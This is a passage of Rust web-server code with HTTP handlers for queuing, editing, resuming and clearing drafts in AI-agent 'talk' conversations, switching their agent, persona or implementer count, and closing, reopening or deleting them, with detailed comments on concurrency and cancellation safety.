9066                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9067            ));
9068        }
9069        TalkTurnStart::Foreign => {
9070            return Err(ApiError::conflict(
9071                "a turn is already running in another process; try again when it has finished",
9072            ));
9073        }
9074        TalkTurnStart::Busy => {
9075            // A turn is already running: queue rather than refuse. See
9076            // `Ui::begin_talk_turn` and `talk::queue`.
9077            //
9078            // The queue write and the drain it may owe live inside the task
9079            // `tokio::spawn` hands to the runtime, for the same reason the
9080            // immediate path below puts `record` there: a dropped handler
9081            // future must not be able to land between a durable write and
9082            // the task that answers it. `blocking` runs its closure on
9083            // `spawn_blocking`, which finishes whether or not anyone is left
9084            // to receive its result - so a disconnect at the `.await` below
9085            // would otherwise leave the draft persisted and the reclaimed
9086            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9087            // ever started and the queued text stranded until some later
9088            // `say` happened to pick it up. The caller's 202 travels back
9089            // over a `oneshot`, sent the moment the write lands.
9090            let (tx, rx) = tokio::sync::oneshot::channel();
9091            tokio::spawn({
9092                let ui = Arc::clone(&ui);
9093                let id = id.clone();
9094                let said = body.text.clone();
9095                let reply_to = body.reply_to.clone();
9096                async move {
9097                    let written = blocking({
9098                        let ui = Arc::clone(&ui);
9099                        let id = id.clone();
9100                        move || {
9101                            let mut talk = ui.talks.get(&id)?;
9102                            // A test-only stop point, right before the write
9103                            // an interleaving test needs to pin - see
9104                            // `BusyQueueGate`. `None` in every real server:
9105                            // the field only exists under `#[cfg(test)]`.
9106                            #[cfg(test)]
9107                            if let Some(gate) = ui
9108                                .busy_queue_gate
9109                                .lock()
9110                                .unwrap_or_else(PoisonError::into_inner)
9111                                .take()
9112                            {
9113                                let _ = gate.reached.send(());
9114                                let _ = gate.release.recv();
9115                            }
9116                            if let Err(error) = talk::queue_reply(
9117                                &mut talk,
9118                                &ui.talks,
9119                                &said,
9120                                attachments,
9121                                reply_to,
9122                            ) {
9123                                if let Ok(fresh) = ui.talks.get(&id) {
9124                                    if !fresh.status.open() {
9125                                        return Err(ApiError::conflict(format!(
9126                                            "talk {} is {} and takes no more turns",
9127                                            fresh.short(),
9128                                            fresh.status.as_str()
9129                                        )));
9130                                    }
9131                                }
9132                                return Err(
9133                                    if error.to_string().contains("invalid reply target") {
9134                                        ApiError::bad_request("invalid reply target")
9135                                    } else {
9136                                        ApiError::from(error)
9137                                    },
9138                                );
9139                            }
9140                            // The turn that looked busy a moment ago can have
9141                            // finished, found nothing to drain and given up the
9142                            // slot in the gap between that check and this write
9143                            // landing - see `drain_loop`'s own doc for the other
9144                            // half of why that gap would otherwise be able to
9145                            // open at all. Reclaiming the slot here, rather than
9146                            // trusting that whoever held it is still watching, is
9147                            // what stops the text just queued from being stranded
9148                            // until an unrelated future `say` happens to drain
9149                            // it.
9150                            let claim = match ui.begin_queued_talk_turn(&id)? {
9151                                Some(turn_guard) => {
9152                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9153                                    Some((talk.clone(), cfg, turn_guard))
9154                                }
9155                                None => None,
9156                            };
9157                            let thinking = ui.is_thinking(&id);
9158                            Ok((TalkView::new(talk, thinking, &ui), claim))
9159                        }
9160                    })
9161                    .await;
9162                    #[cfg(not(test))]
9163                    {
9164                        match written {
9165                            Ok((view, reclaimed)) => {
9166                                let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
9167                                drop(reclaimed);
9168                                match launched {
9169                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9170                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9171                                }
9172                            }
9173                            Err(error) => { let _ = tx.send(Err(error)); }
9174                        }
9175                    }
9176                    #[cfg(test)]
9177                    {
9178                    let (view, reclaimed) = match written {
9179                        Ok(pair) => pair,
9180                        Err(e) => {
9181                            // Nobody is listening if the handler's own future
9182                            // was already dropped - that is fine, nothing was
9183                            // persisted and there is no response left to carry
9184                            // this error to.
9185                            let _ = tx.send(Err(e));
9186                            return;
9187                        }
9188                    };
9189                    // If this fails, the caller is gone; the drain below still
9190                    // runs exactly as it would have for a caller that stayed.
9191                    let _ = tx.send(Ok(view));
9192                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9193                        let talks = ui.talks.clone();
9194                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9195                    }
9196                    }
9197                }
9198            });
9199            let view = rx
9200                .await
9201                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9202            return Ok((StatusCode::ACCEPTED, Json(view)));
9203        }
9204    };
9205
9206    let (talk, cfg) = {
9207        let ui = Arc::clone(&ui);
9208        let id = id.clone();
9209        blocking(move || {
9210            let talk = ui.talks.get(&id)?;
9211            let (cfg, _) = Config::discover(&talk.repo, None)?;
9212            Ok((talk, cfg))
9213        })
9214        .await?
9215    };
9216
9217    let talks = ui.talks.clone();
9218    // `record` runs *inside* the spawned task, rather than in this handler
9219    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9220    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9221    // doc), and that drop can land at any `.await` this function makes,
9222    // including one that has already produced its result but not yet
9223    // resumed. A message could end up recorded on disk with the handler
9224    // future gone before it ever reached the `tokio::spawn` that would have
9225    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9226    // that hands the whole future to the runtime as one unit - once made, no
9227    // later drop of *this* handler's own future (that call's return value is
9228    // never held onto here) can reach back in and stop it, so record and the
9229    // hand-off to `respond` are unconditionally atomic from the client's
9230    // point of view. The immediate response this handler owes the caller
9231    // travels back over a `oneshot`, sent the moment `record` succeeds.
9232    let (tx, rx) = tokio::sync::oneshot::channel();
9233    tokio::spawn({
9234        #[cfg(test)]
9235        let ui = Arc::clone(&ui);
9236        let talks = talks.clone();
9237        let id = id.clone();
9238        let said = body.text.clone();
9239        let reply_to = body.reply_to.clone();
9240        let mut talk = talk.clone();
9241        async move {
9242            let recorded = blocking({
9243                let talks = talks.clone();
9244                move || {
9245                    if let Err(error) =
9246                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9247                    {
9248                        if let Ok(fresh) = talks.get(&talk.id) {
9249                            if !fresh.status.open() {
9250                                return Err(ApiError::conflict(format!(
9251                                    "talk {} is {} and takes no more turns",
9252                                    fresh.short(),
9253                                    fresh.status.as_str()
9254                                )));
9255                            }
9256                        }
9257                        return Err(if error.to_string().contains("invalid reply target") {
9258                            ApiError::bad_request("invalid reply target")
9259                        } else {
9260                            ApiError::from(error)
9261                        });
9262                    }
9263                    // `record` mutates `talk` in place to the freshly persisted
9264                    // state (status, pending, and the just-appended operator
9265                    // turn), so returning it here is equivalent to re-reading it
9266                    // from disk - without the extra round trip a re-read would
9267                    // need.
9268                    Ok((said.trim().to_owned(), talk))
9269                }
9270            })
9271            .await;
9272            let (text, talk) = match recorded {
9273                Ok(pair) => pair,
9274                Err(e) => {
9275                    // Nobody is listening if the handler's own future was
9276                    // already dropped - that is fine, there is no response
9277                    // left to carry this error to and nothing was persisted.
9278                    let _ = tx.send(Err(e));
9279                    return;
9280                }
9281            };
9282            #[cfg(not(test))]
9283            {
9284                let _ = (&cfg, &text);
9285                // The reservation becomes durable while this process still
9286                // holds the talk lease. The child waits for that lease; the
9287                // new UI sees its startup reservation immediately.
9288                let result = crate::consult::spawn_recorded_turn(
9289                    &talks, &id, talk.turns.len() - 1,
9290                ).await;
9291                drop(turn_guard);
9292                match result {
9293                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9294                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9295                }
9296            }
9297            #[cfg(test)]
9298            {
9299            let queued = talk.clone();
9300            let mut talk = talk;
9301            let thinking = ui.is_thinking(&id);
9302            // If this fails, the caller is gone; the turn still runs below
9303            // exactly as it would have for a caller that stayed connected.
9304            let _ = tx.send(Ok((queued, thinking)));
9305
9306            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9307                // `respond` records the failure in the transcript itself,
9308                // which is what the phone reads; this line is for the
9309                // operator's terminal.
9310                tracing::warn!("talk {id} turn failed: {e:#}");
9311            }
9312            // Anything `talk::queue` added while the turn above was running
9313            // is still owed an answer - see `drain_loop`.
9314            drain_loop(talk, talks, cfg, id, turn_guard).await;
9315            }
9316        }
9317    });
9318
9319    let (queued, thinking) = rx
9320        .await
9321        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9322
9323    // 202: the operator's message is recorded and a turn is running.
9324    Ok((
9325        StatusCode::ACCEPTED,
9326        Json(TalkView::new(queued, thinking, &ui)),
9327    ))
9328    }).await
9329}
9330
9331/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9332/// changing it. The turn guard is the same per-talk ownership `talk_say`
9333/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9334async fn talk_pending_resume(
9335    State(ui): State<Arc<Ui>>,
9336    Path(id): Path<String>,
9337) -> ApiResult<(StatusCode, Json<TalkView>)> {
9338    let admission = ui.begin_admission()?;
9339    admitted(admission, async move {
9340        let id = {
9341            let ui = Arc::clone(&ui);
9342            let asked = id.clone();
9343            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9344        };
9345        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9346            .await
9347            .map_err(ApiError::from)?;
9348        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9349            return Err(ApiError::conflict(
9350                "a talk turn is already running; the queued draft will be handled by it",
9351            ));
9352        };
9353        let (talk, cfg) = {
9354            let ui = Arc::clone(&ui);
9355            let id = id.clone();
9356            blocking(move || {
9357                let talk = ui.talks.get(&id)?;
9358                if !talk.status.open() {
9359                    return Err(ApiError::conflict(format!(
9360                        "talk {} is {} and takes no more turns",
9361                        talk.short(),
9362                        talk.status.as_str()
9363                    )));
9364                }
9365                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9366                    return Err(ApiError::conflict("there is no queued draft to resume"));
9367                }
9368                let (cfg, _) = Config::discover(&talk.repo, None)?;
9369                Ok((talk, cfg))
9370            })
9371            .await?
9372        };
9373        let view = TalkView::new(talk.clone(), true, &ui);
9374        let talks = ui.talks.clone();
9375        #[cfg(not(test))]
9376        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9377        #[cfg(test)]
9378        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9379        Ok((StatusCode::ACCEPTED, Json(view)))
9380    })
9381    .await
9382}
9383
9384/// Hand off an admitted draft while retaining the talk lease until its
9385/// detached startup reservation is durable.
9386#[cfg(not(test))]
9387async fn detach_talk_turn(
9388    _talk: Talk,
9389    talks: Talks,
9390    _cfg: Config,
9391    id: String,
9392    turn: TalkTurnGuard,
9393) -> ApiResult<()> {
9394    let launched = crate::consult::spawn_turn(&talks, &id).await;
9395    drop(turn);
9396    launched.map(|_| ()).map_err(ApiError::from)
9397}
9398
9399#[cfg(test)]
9400async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9401    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9402}
9403
9404/// A settings response must not report idle while its claim is still held.
9405/// Wait until the first drain either releases the claim or promotes a draft.
9406/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9407async fn settle_settings_turn(
9408    talk: Talk,
9409    talks: Talks,
9410    cfg: Config,
9411    id: String,
9412    turn: TalkTurnGuard,
9413    observed: u64,
9414) -> bool {
9415    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9416        let turns = Arc::clone(&turn.turns);
9417        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9418        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9419            // Release under the arrival lock; a later `/say` takes its own claim.
9420            turn.release(&mut live);
9421            return false;
9422        }
9423    }
9424    let (started, settled) = tokio::sync::oneshot::channel();
9425    tokio::spawn(drain_loop_started(
9426        talk,
9427        talks,
9428        cfg,
9429        id,
9430        turn,
9431        Some(started),
9432    ));
9433    settled.await.unwrap_or(false)
9434}
9435
9436#[cfg(not(test))]
9437async fn drain_loop_started(
9438    talk: Talk,
9439    talks: Talks,
9440    _cfg: Config,
9441    id: String,
9442    turn: TalkTurnGuard,
9443    started: Option<tokio::sync::oneshot::Sender<bool>>,
9444) {
9445    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9446    let running = if pending {
9447        match crate::consult::spawn_turn(&talks, &id).await {
9448            Ok(_) => true,
9449            Err(error) => {
9450                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9451                false
9452            }
9453        }
9454    } else {
9455        false
9456    };
9457    drop(turn);
9458    if let Some(started) = started {
9459        let _ = started.send(running);
9460    }
9461}
9462
9463// Existing in-process conversation tests exercise transcript/arrival ordering;
9464// real process-lifetime behavior is covered by the CLI integration tests.
9465#[cfg(test)]
9466async fn drain_loop_started(
9467    mut talk: Talk,
9468    talks: Talks,
9469    cfg: Config,
9470    id: String,
9471    turn: TalkTurnGuard,
9472    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9473) {
9474    let live_set = Arc::clone(&turn.turns);
9475    // `Option` rather than binding `turn` directly to a `_turn` that lives
9476    // for the whole function: releasing it has to happen by calling
9477    // `TalkTurnGuard::release` from inside the locked branch below, which
9478    // takes `self` by value. Left as a plain drop instead, `Drop` would still
9479    // remove the id - correctly, if this loop is ever left some other way -
9480    // but doing it there misses the lock this loop is already holding, which
9481    // is the exact gap `release` exists to close.
9482    let mut turn = Some(turn);
9483    loop {
9484        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9485            // The lease was taken over while a turn ran. Whatever is queued
9486            // stays a draft; running it here would race the new owner.
9487            tracing::warn!("talk {id} lost its turn lease; not draining further");
9488            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9489            if let Some(turn) = turn.take() {
9490                turn.release(&mut live);
9491            }
9492            break;
9493        }
9494        // `talk::drain` takes the store lock and can write/rename the talk
9495        // file. Keep the turn mutex out of that synchronous work: it protects
9496        // every talk's in-memory claim, not this talk's disk operation.
9497        let observed = live_set
9498            .lock()
9499            .unwrap_or_else(PoisonError::into_inner)
9500            .queued
9501            .get(&id)
9502            .copied()
9503            .unwrap_or(0);
9504        let drained = blocking({
9505            let talks = talks.clone();
9506            move || {
9507                let result = talk::drain(&mut talk, &talks);
9508                Ok((talk, result))
9509            }
9510        })
9511        .await;
9512        let (next_talk, result) = match drained {
9513            Ok(drained) => drained,
9514            Err(e) => {
9515                tracing::warn!(
9516                    status = %e.status,
9517                    message = %e.message,
9518                    "talk {id} could not start queued-text drain"
9519                );
9520                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9521                turn.take()
9522                    .expect("held for the whole loop until released here")
9523                    .release(&mut live);
9524                break;
9525            }
9526        };
9527        talk = next_talk;
9528        let drained = match result {
9529            Ok(Some(drained)) => drained,
9530            Ok(None) => {
9531                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9532                if live.queued.get(&id).copied().unwrap_or(0) != observed {
9533                    continue;
9534                }
9535                turn.take()
9536                    .expect("held for the whole loop until released here")
9537                    .release(&mut live);
9538                break;
9539            }
9540            Err(e) => {
9541                tracing::warn!("talk {id} could not drain queued text: {e:#}");
9542                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9543                turn.take()
9544                    .expect("held for the whole loop until released here")
9545                    .release(&mut live);
9546                break;
9547            }
9548        };
9549        if let Some(started) = started.take() {
9550            let _ = started.send(true);
9551        }
9552        let responded = match turn.as_ref() {
9553            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9554            None => Err(anyhow::anyhow!("the turn guard was released")),
9555        };
9556        if let Err(e) = responded {
9557            tracing::warn!("talk {id} turn failed: {e:#}");
9558        }
9559    }
9560    drop(turn);
9561    if let Some(started) = started {
9562        let _ = started.send(false);
9563    }
9564}
9565
9566/// Clear a queued draft only if it remains exactly the one the caller saw.
9567async fn talk_pending_clear(
9568    State(ui): State<Arc<Ui>>,
9569    Path(id): Path<String>,
9570    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9571) -> ApiResult<Json<TalkView>> {
9572    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9573    blocking(move || {
9574        let id = resolve_talk(&ui.talks, &id)?;
9575        let mut talk = ui.talks.get(&id)?;
9576        if !talk.status.open() {
9577            return Err(ApiError::conflict(format!(
9578                "talk {} is {} and takes no more turns",
9579                talk.short(),
9580                talk.status.as_str()
9581            )));
9582        }
9583        if !talk::clear_pending_if_matches(
9584            &mut talk,
9585            &ui.talks,
9586            &body.expected_text,
9587            &body.expected_attachments,
9588        )? {
9589            return Err(ApiError::conflict(
9590                "queued message changed; reload it before clearing",
9591            ));
9592        }
9593        let thinking = ui.is_thinking(&talk.id);
9594        Ok(Json(TalkView::new(talk, thinking, &ui)))
9595    })
9596    .await
9597}
9598
9599/// Atomically edit a queued draft's text while preserving its attachments.
9600/// The snapshot fields make a concurrent queue or drain a conflict rather
9601/// than silently discarding either message.
9602async fn talk_pending_edit(
9603    State(ui): State<Arc<Ui>>,
9604    Path(id): Path<String>,
9605    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9606) -> ApiResult<Json<TalkView>> {
9607    let admission = ui.begin_admission()?;
9608    admitted(admission, async move {
9609        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9610        let id = {
9611            let ui = Arc::clone(&ui);
9612            blocking(move || resolve_talk(&ui.talks, &id)).await?
9613        };
9614        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9615            .await
9616            .map_err(ApiError::from)?;
9617        let (view, reclaimed) = blocking({
9618            let ui = Arc::clone(&ui);
9619            move || {
9620                let mut talk = ui.talks.get(&id)?;
9621                if !talk.status.open() {
9622                    return Err(ApiError::conflict(format!(
9623                        "talk {} is {} and takes no more turns",
9624                        talk.short(),
9625                        talk.status.as_str()
9626                    )));
9627                }
9628                if !talk::edit_pending_message(
9629                    &mut talk,
9630                    &ui.talks,
9631                    &body.text,
9632                    &body.expected_text,
9633                    &body.expected_attachments,
9634                    body.message,
9635                )? {
9636                    return Err(ApiError::conflict(
9637                        "queued message changed; reload it before editing",
9638                    ));
9639                }
9640                let claim = match ui.begin_queued_talk_turn(&id)? {
9641                    Some(turn_guard) => {
9642                        let (cfg, _) = Config::discover(&talk.repo, None)?;
9643                        Some((talk.clone(), cfg, id.clone(), turn_guard))
9644                    }
9645                    None => None,
9646                };
9647                let thinking = ui.is_thinking(&id);
9648                Ok((TalkView::new(talk, thinking, &ui), claim))
9649            }
9650        })
9651        .await?;
9652        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9653            let talks = ui.talks.clone();
9654            #[cfg(not(test))]
9655            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9656            #[cfg(test)]
9657            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9658        }
9659        Ok(Json(view))
9660    })
9661    .await
9662}
9663
9664/// The 409 for a talk that takes no more turns.
9665fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9666    if talk.status.open() {
9667        return Ok(());
9668    }
9669    Err(ApiError::conflict(format!(
9670        "talk {} is {} and takes no more turns",
9671        talk.short(),
9672        talk.status.as_str()
9673    )))
9674}
9675
9676/// The body of `POST /api/talks/{id}/agent`.
9677#[derive(Debug, Deserialize)]
9678struct TalkAgent {
9679    agent: String,
9680}
9681
9682/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
9683/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
9684/// start a turn on the old session between the check and the write; one that
9685/// arrives in that window finds the talk busy and becomes a draft.
9686async fn talk_agent(
9687    State(ui): State<Arc<Ui>>,
9688    Path(id): Path<String>,
9689    Json(body): Json<TalkAgent>,
9690) -> ApiResult<Json<TalkView>> {
9691    let admission = ui.begin_admission()?;
9692    admitted(admission, async move {
9693        let id = {
9694            let ui = Arc::clone(&ui);
9695            blocking(move || resolve_talk(&ui.talks, &id)).await?
9696        };
9697        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9698            .await
9699            .map_err(ApiError::from)?;
9700        let repo = {
9701            let ui = Arc::clone(&ui);
9702            let id = id.clone();
9703            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9704        };
9705        let cfg = config_for(&repo).await?;
9706        // Refuse before taking the claim; see `talk_implementers`.
9707        {
9708            let ui = Arc::clone(&ui);
9709            let id = id.clone();
9710            let cfg = cfg.clone();
9711            let wanted = body.agent.clone();
9712            blocking(move || {
9713                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9714                    .map_err(ApiError::bad_request_from)?;
9715                refuse_if_closed(&ui.talks.get(&id)?)
9716            })
9717            .await?;
9718        }
9719        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9720            return Err(ApiError::conflict(
9721                "a talk turn is running; change the agent once it has answered",
9722            ));
9723        };
9724        let switched = {
9725            let ui = Arc::clone(&ui);
9726            let id = id.clone();
9727            let cfg = cfg.clone();
9728            blocking(move || {
9729                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9730                    .map_err(ApiError::bad_request_from)?;
9731                let mut talk = ui.talks.get(&id)?;
9732                if !talk.status.open() {
9733                    return Err(ApiError::conflict(format!(
9734                        "talk {} is {} and takes no more turns",
9735                        talk.short(),
9736                        talk.status.as_str()
9737                    )));
9738                }
9739                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9740                Ok(talk)
9741            })
9742            .await
9743        };
9744        // A `/say` that landed while this held the claim saw the talk busy and
9745        // left a durable draft, trusting the claim's owner to drain it. So the
9746        // claim is settled whatever the outcome. Release an empty draft's claim
9747        // before replying; queued drafts continue independently of the handler.
9748        let observed = ui.queued_generation(&id);
9749        let fresh = {
9750            let ui = Arc::clone(&ui);
9751            let id = id.clone();
9752            blocking(move || Ok(ui.talks.get(&id)?)).await
9753        };
9754        let draining = match fresh {
9755            Ok(talk) => {
9756                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9757            }
9758            Err(_) => false,
9759        };
9760        let talk = switched?;
9761        Ok(Json(TalkView::new(talk, draining, &ui)))
9762    })
9763    .await
9764}
9765
9766/// The body of `POST /api/talks/{id}/persona`.
9767#[derive(Debug, Deserialize)]
9768struct TalkPersona {
9769    persona: String,
9770}
9771
9772/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
9773/// like [`talk_agent`]: the turn guard is held for the change and always handed
9774/// to `drain_loop`, so a draft left meanwhile is not stranded.
9775async fn talk_persona(
9776    State(ui): State<Arc<Ui>>,
9777    Path(id): Path<String>,
9778    Json(body): Json<TalkPersona>,
9779) -> ApiResult<Json<TalkView>> {
9780    let admission = ui.begin_admission()?;
9781    admitted(admission, async move {
9782        let id = {
9783            let ui = Arc::clone(&ui);
9784            blocking(move || resolve_talk(&ui.talks, &id)).await?
9785        };
9786        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9787            .await
9788            .map_err(ApiError::from)?;
9789        let repo = {
9790            let ui = Arc::clone(&ui);
9791            let id = id.clone();
9792            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9793        };
9794        let cfg = config_for(&repo).await?;
9795        // Refuse before taking the claim; see `talk_implementers`.
9796        {
9797            let ui = Arc::clone(&ui);
9798            let id = id.clone();
9799            let cfg = cfg.clone();
9800            let wanted = body.persona.clone();
9801            blocking(move || {
9802                if persona::find(&cfg.talk.personas, &wanted).is_none() {
9803                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9804                }
9805                refuse_if_closed(&ui.talks.get(&id)?)
9806            })
9807            .await?;
9808        }
9809        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9810            return Err(ApiError::conflict(
9811                "a talk turn is running; change the persona once it has answered",
9812            ));
9813        };
9814        let switched = {
9815            let ui = Arc::clone(&ui);
9816            let id = id.clone();
9817            let cfg = cfg.clone();
9818            blocking(move || {
9819                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9820                    return Err(ApiError::bad_request(format!(
9821                        "unknown persona `{}`",
9822                        body.persona
9823                    )));
9824                };
9825                let mut talk = ui.talks.get(&id)?;
9826                if !talk.status.open() {
9827                    return Err(ApiError::conflict(format!(
9828                        "talk {} is {} and takes no more turns",
9829                        talk.short(),
9830                        talk.status.as_str()
9831                    )));
9832                }
9833                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9834                Ok(talk)
9835            })
9836            .await
9837        };
9838        // As in `talk_agent`: settle the claim before replying, even on refusal.
9839        let observed = ui.queued_generation(&id);
9840        let fresh = {
9841            let ui = Arc::clone(&ui);
9842            let id = id.clone();
9843            blocking(move || Ok(ui.talks.get(&id)?)).await
9844        };
9845        let draining = match fresh {
9846            Ok(talk) => {
9847                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9848            }
9849            Err(_) => false,
9850        };
9851        let talk = switched?;
9852        Ok(Json(TalkView::new(talk, draining, &ui)))
9853    })
9854    .await
9855}
9856
9857/// The body of `POST /api/talks/{id}/implementers`.
9858#[derive(Debug, Deserialize)]
9859struct TalkImplementers {
9860    implementers: u8,
9861}
9862
9863/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
9864/// like [`talk_agent`]: the turn guard is held for the change and always handed
9865/// to `drain_loop`, so a draft left meanwhile is not stranded.
9866async fn talk_implementers(
9867    State(ui): State<Arc<Ui>>,
9868    Path(id): Path<String>,
9869    Json(body): Json<TalkImplementers>,
9870) -> ApiResult<Json<TalkView>> {
9871    let admission = ui.begin_admission()?;
9872    admitted(admission, async move {
9873        let id = {
9874            let ui = Arc::clone(&ui);
9875            blocking(move || resolve_talk(&ui.talks, &id)).await?
9876        };
9877        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9878            .await
9879            .map_err(ApiError::from)?;
9880        let repo = {
9881            let ui = Arc::clone(&ui);
9882            let id = id.clone();
9883            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9884        };
9885        let cfg = config_for(&repo).await?;
9886        // Refuse a request that cannot succeed before taking the claim: a claim
9887        // taken for it is handed to `drain_loop`, which holds the talk busy for a
9888        // moment, so a refusal would make the next request see "busy" instead of
9889        // its own answer. The checks after the claim stay the ones that decide.
9890        {
9891            let ui = Arc::clone(&ui);
9892            let id = id.clone();
9893            let cfg = cfg.clone();
9894            let wanted = body.implementers;
9895            blocking(move || {
9896                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9897                refuse_if_closed(&ui.talks.get(&id)?)
9898            })
9899            .await?;
9900        }
9901        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9902            return Err(ApiError::conflict(
9903                "a talk turn is running; change the implementers once it has answered",
9904            ));
9905        };
9906        let switched = {
9907            let ui = Arc::clone(&ui);
9908            let id = id.clone();
9909            let cfg = cfg.clone();
9910            blocking(move || {
9911                let chosen = talk::check_implementers(body.implementers, &cfg)
9912                    .map_err(ApiError::bad_request)?;
9913                let mut talk = ui.talks.get(&id)?;
9914                if !talk.status.open() {
9915                    return Err(ApiError::conflict(format!(
9916                        "talk {} is {} and takes no more turns",
9917                        talk.short(),
9918                        talk.status.as_str()
9919                    )));
9920                }
9921                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9922                Ok(talk)
9923            })
9924            .await
9925        };
9926        // As in `talk_agent`: settle the claim before replying, even on refusal.
9927        let observed = ui.queued_generation(&id);
9928        let fresh = {
9929            let ui = Arc::clone(&ui);
9930            let id = id.clone();
9931            blocking(move || Ok(ui.talks.get(&id)?)).await
9932        };
9933        let draining = match fresh {
9934            Ok(talk) => {
9935                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9936            }
9937            Err(_) => false,
9938        };
9939        let talk = switched?;
9940        Ok(Json(TalkView::new(talk, draining, &ui)))
9941    })
9942    .await
9943}
9944
9945/// `POST /api/talks/{id}/close`.
9946async fn talk_close(
9947    State(ui): State<Arc<Ui>>,
9948    Path(id): Path<String>,
9949) -> ApiResult<Json<TalkView>> {
9950    blocking(move || {
9951        let id = resolve_talk(&ui.talks, &id)?;
9952        let mut talk = ui.talks.get(&id)?;
9953        talk::close(&mut talk, &ui.talks)?;
9954        let thinking = ui.is_thinking(&talk.id);
9955        Ok(Json(TalkView::new(talk, thinking, &ui)))
9956    })
9957    .await
9958}
9959
9960/// `POST /api/talks/{id}/reopen`.
9961async fn talk_reopen(
9962    State(ui): State<Arc<Ui>>,
9963    Path(id): Path<String>,
9964) -> ApiResult<Json<TalkView>> {
9965    blocking(move || {
9966        let id = resolve_talk(&ui.talks, &id)?;
9967        let mut talk = ui.talks.get(&id)?;
9968        talk::reopen(&mut talk, &ui.talks)?;
9969        let thinking = ui.is_thinking(&talk.id);
9970        Ok(Json(TalkView::new(talk, thinking, &ui)))
9971    })
9972    .await
9973}
9974
9975/// `DELETE /api/talks/{id}`.
9976///
9977/// Removes the conversation's record and artifacts outright, unlike
9978/// [`talk_close`] which keeps the record as history. A turn already in
9979/// flight is not refused here the way [`run_delete`] refuses a live run:
9980/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
9981/// under [`Talks::guard`], that the record they are about to write back is
9982/// still there, so a delete racing a turn is safe without this route having
9983/// to know a turn is running at all.
9984async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9985    blocking(move || {
9986        let id = resolve_talk(&ui.talks, &id)?;
9987        ui.talks.remove(&id)?;
9988        Ok(StatusCode::NO_CONTENT)
9989    })
9990    .await
9991}
9992
9993fn talk_ids(root: &FsPath) -> Vec<String> {
9994    std::fs::read_dir(root)
9995        .into_iter()
9996        .flatten()
9997        .flatten()
9998        .filter_map(|e| {
9999            let path = e.path();
10000            if path.extension().is_some_and(|ext| ext == "json") {
